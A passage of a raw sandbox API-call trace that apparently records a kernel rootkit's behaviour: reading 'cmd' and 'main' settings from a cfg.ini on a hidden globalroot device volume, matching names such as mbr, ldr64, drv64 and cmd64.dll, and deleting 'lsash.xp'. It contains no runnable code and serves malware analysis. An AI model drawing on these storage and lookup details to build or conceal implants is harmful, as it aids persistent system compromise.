ReleaseMutex (hMutex=0xf0) returned 1 [0127.200] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.200] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.200] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.200] KeEnterCriticalRegion () [0127.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.201] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.201] IdePortDispatch () returned 0x103 [0127.201] KeWaitForMutexObject () returned 0x0 [0127.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.201] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.201] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.201] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.201] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.201] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc810 [0127.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.201] KeLeaveCriticalRegion () [0127.201] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.201] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.201] KeEnterCriticalRegion () [0127.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.201] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.201] KeLeaveCriticalRegion () [0127.201] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.201] KeEnterCriticalRegion () [0127.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.201] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.201] IdePortDispatch () returned 0x103 [0127.202] KeWaitForMutexObject () returned 0x0 [0127.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.202] KeLeaveCriticalRegion () [0127.202] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.202] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.202] KeEnterCriticalRegion () [0127.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b99000 [0127.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.202] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.202] IdePortDispatch () returned 0x103 [0127.202] KeWaitForMutexObject () returned 0x0 [0127.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.203] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.203] IdePortDispatch () returned 0x103 [0127.203] KeWaitForMutexObject () returned 0x0 [0127.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.203] KeLeaveCriticalRegion () [0127.203] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.203] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.204] KeEnterCriticalRegion () [0127.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.204] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.204] KeLeaveCriticalRegion () [0127.204] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.204] KeEnterCriticalRegion () [0127.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.204] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.204] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.204] KeLeaveCriticalRegion () [0127.204] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.204] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.204] KeEnterCriticalRegion () [0127.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.204] ExFreePoolWithTag (P=0xfffffa8002adc810, Tag=0x0) [0127.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.204] KeLeaveCriticalRegion () [0127.204] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.204] ReleaseMutex (hMutex=0xf0) returned 1 [0127.204] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.204] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.204] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.204] KeEnterCriticalRegion () [0127.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.204] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.204] IdePortDispatch () returned 0x103 [0127.205] KeWaitForMutexObject () returned 0x0 [0127.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.205] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.205] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.205] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.205] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.205] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002a6e010 [0127.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.205] KeLeaveCriticalRegion () [0127.205] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.205] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.205] KeEnterCriticalRegion () [0127.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.205] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.205] KeLeaveCriticalRegion () [0127.205] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.205] KeEnterCriticalRegion () [0127.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.205] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.205] IdePortDispatch () returned 0x103 [0127.206] KeWaitForMutexObject () returned 0x0 [0127.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.206] KeLeaveCriticalRegion () [0127.206] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.206] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.206] KeEnterCriticalRegion () [0127.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.206] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9a000 [0127.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.206] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.206] IdePortDispatch () returned 0x103 [0127.206] KeWaitForMutexObject () returned 0x0 [0127.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.206] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.206] IdePortDispatch () returned 0x103 [0127.207] KeWaitForMutexObject () returned 0x0 [0127.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.207] KeLeaveCriticalRegion () [0127.207] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.207] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.207] KeEnterCriticalRegion () [0127.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.208] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.208] KeLeaveCriticalRegion () [0127.208] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.208] KeEnterCriticalRegion () [0127.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.208] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.208] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.208] KeLeaveCriticalRegion () [0127.208] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.208] KeEnterCriticalRegion () [0127.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.208] ExFreePoolWithTag (P=0xfffffa8002a6e010, Tag=0x0) [0127.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.208] KeLeaveCriticalRegion () [0127.208] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.208] ReleaseMutex (hMutex=0xf0) returned 1 [0127.208] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.208] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.208] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.208] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.208] KeEnterCriticalRegion () [0127.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.208] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.208] IdePortDispatch () returned 0x103 [0127.209] KeWaitForMutexObject () returned 0x0 [0127.209] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.209] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.209] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.209] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.209] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.209] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.209] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.209] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.209] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.209] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.209] KeLeaveCriticalRegion () [0127.209] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.209] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.209] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.209] KeEnterCriticalRegion () [0127.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.210] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.210] IdePortDispatch () returned 0x103 [0127.210] KeWaitForMutexObject () returned 0x0 [0127.210] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.210] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.210] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.210] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.210] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.210] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.210] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.210] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.210] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.210] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.210] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.210] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.210] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.210] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.210] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.210] KeLeaveCriticalRegion () [0127.210] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.210] ReleaseMutex (hMutex=0x100) returned 1 [0127.210] Sleep (dwMilliseconds=0x2bf20) [0127.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f0604f0, dwHighDateTime=0x1d24fa4)) [0127.219] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.219] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.219] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.219] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.220] KeEnterCriticalRegion () [0127.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.220] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.220] IdePortDispatch () returned 0x103 [0127.220] KeWaitForMutexObject () returned 0x0 [0127.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.220] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.220] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.220] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.220] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.220] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7390 [0127.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.220] KeLeaveCriticalRegion () [0127.220] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.220] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.220] KeEnterCriticalRegion () [0127.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.220] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.220] KeLeaveCriticalRegion () [0127.220] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.220] KeEnterCriticalRegion () [0127.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.221] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.221] IdePortDispatch () returned 0x103 [0127.221] KeWaitForMutexObject () returned 0x0 [0127.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.221] KeLeaveCriticalRegion () [0127.221] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.221] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.221] KeEnterCriticalRegion () [0127.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.221] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9d000 [0127.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, 